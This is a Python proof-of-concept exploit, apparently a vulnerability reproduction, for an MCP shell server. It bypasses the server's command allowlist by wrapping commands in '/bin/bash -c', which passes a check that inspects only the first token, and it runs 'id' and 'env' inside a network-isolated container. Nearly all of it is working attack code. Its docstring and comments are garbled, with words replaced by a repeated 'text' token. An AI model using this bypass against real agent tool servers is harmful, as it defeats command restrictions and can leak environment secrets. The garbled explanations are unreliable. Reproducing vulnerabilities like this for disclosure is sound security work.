#!/usr/bin/env python3
"""
VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c

Vulnerability summary:
  security.yamltext allowed_executablestext /bin/bash text registerbecomes text,
  validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand
  -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext
  executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes
  allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.

usage:
  python3 poc.py [IMAGE_NAME]
  default text: mcp-shell-vuln-001:latest
"""

import subprocess
import json
import sys

IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"


def make_msg(obj):
    return json.dumps(obj, separators=(',', ':'))


# MCP JSON-RPC message whentext
MESSAGES = [
    # 1. initialize handshake
    make_msg({
        "jsonrpc": "2.0", "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"}
        }
    }),
    # 2. initialized text (response none)
    make_msg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}),
    # 3. vulnerability text: /bin/bash -c id
    #    id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute
    make_msg({
        "jsonrpc": "2.0", "id": 2,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c id", "base64": False}
        }
    }),
    # 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done
    make_msg({
        "jsonrpc": "2.0", "id": 3,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "id", "base64": False}
        }
    }),
    # 5. add evidence: env environment variable text (envtext allowlisttext none)
    make_msg({
        "jsonrpc": "2.0", "id": 4,
        "method": "tools/call",
        "params": {
            "name": "shell_exec",
            "arguments": {"command": "/bin/bash -c env", "base64": False}
        }
    }),
]


def extract_text(resp):
    """MCP tools/call responsefrom text contents extract"""
    try:
        content = resp.get("result", {}).get("content", [])
        for item in content:
            if item.get("type") == "text":
                return item["text"]
    except Exception:
        pass
    return None


def run_poc():
    stdin_data = "\n".join(MESSAGES) + "\n"

    print(f"[*] text: {IMAGE}")
    print("[*] text: /bin/bash -c id")
    print("[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock")
    print()

    try:
        proc = subprocess.run(
            ["docker", "run", "--rm", "-i", "--network=none", IMAGE],
            input=stdin_data.encode(),
            capture_output=True,
            timeout=30,
        )
    except subprocess.TimeoutExpired:
        print("[-] error: container response timeout (30seconds)")
        return False, "timeout"
    except FileNotFoundError:
        print("[-] error: docker commandtext text can none")
        return False, "docker not found"
    except Exception as e:
        print(f"[-] error: {e}")
        return False, str(e)

    stdout = proc.stdout.decode(errors="replace")
    stderr = proc.stderr.decode(errors="replace")

    print("=== STDOUT (JSON-RPC response) ===")
    print(stdout)
    if stderr:
        print("=== STDERR (server log, partial) ===")
        print(stderr[:1500])
    print()

    # response parse
    responses = {}
    for line in stdout.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            resp = json.loads(line)
            msg_id = resp.get("id")
            if msg_id is not None:
                responses[msg_id] = resp
        except json.JSONDecodeError:
            pass

    exploit_passed = False
    exploit_evidence = ""

    # [id=2] /bin/bash -c id result check (key point evidence)
    if 2 in responses:
        text = extract_text(responses[2])
        if text:
            print(f"[id=2] /bin/bash -c id response text: {text[:400]}")
            try:
                result = json.loads(text)
                stdout_val = result.get("stdout", "")
                status = result.get("status", "")
                exit_code = result.get("exit_code", -1)
                print(f"  → status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}")
                if "uid=" in stdout_val and status == "success":
                    exploit_passed = True
                    exploit_evidence = (
                        f"command=/bin/bash -c id | status={status} | "
                        f"exit_code={exit_code} | stdout={stdout_val}"
                    )
                    print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!")
                    print(f"[+] Deterministic evidence: {exploit_evidence}")
            except json.JSONDecodeError:
                if "uid=" in text:
                    exploit_passed = True
                    exploit_evidence = text
                    print(f"[+] PASS: uid= confirmed (raw): {text[:200]}")
    else:
        print("[-] id=2 response none (secondstext failure or server error)")

    # [id=3] id directly execute → block check (text)
    if 3 in responses:
        text = extract_text(responses[3]) or ""
        resp_str = str(responses[3])
        blocked = (
            "not in allowed list" in text
            or "not in allowed list" in resp_str
            or "Security violation" in text
            or "isError" in resp_str and "true" in resp_str.lower()
        )
        if blocked:
            print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)")
            print(f"    → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone")
        else:
            print(f"[*] 'id' directly result: {text[:200]}")

    # [id=4] /bin/bash -c env add evidence
    if 4 in responses:
        text = extract_text(responses[4]) or ""
        try:
            result = json.loads(text)
            stdout_val = result.get("stdout", "")
            if "PATH=" in stdout_val or "HOME=" in stdout_val:
                env_lines = stdout_val.splitlines()[:5]
                print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)")
                print(f"    first 5lines: {chr(10).join('    ' + l for l in env_lines)}")
        except Exception:
            pass

    return exploit_passed, exploit_evidence


if __name__ == "__main__":
    passed, evidence = run_poc()
    print()
    if passed:
        print("[+] vulnerability reproduction result: PASS")
        sys.exit(0)
    else:
        print("[-] vulnerability reproduction result: FAIL")
        sys.exit(1)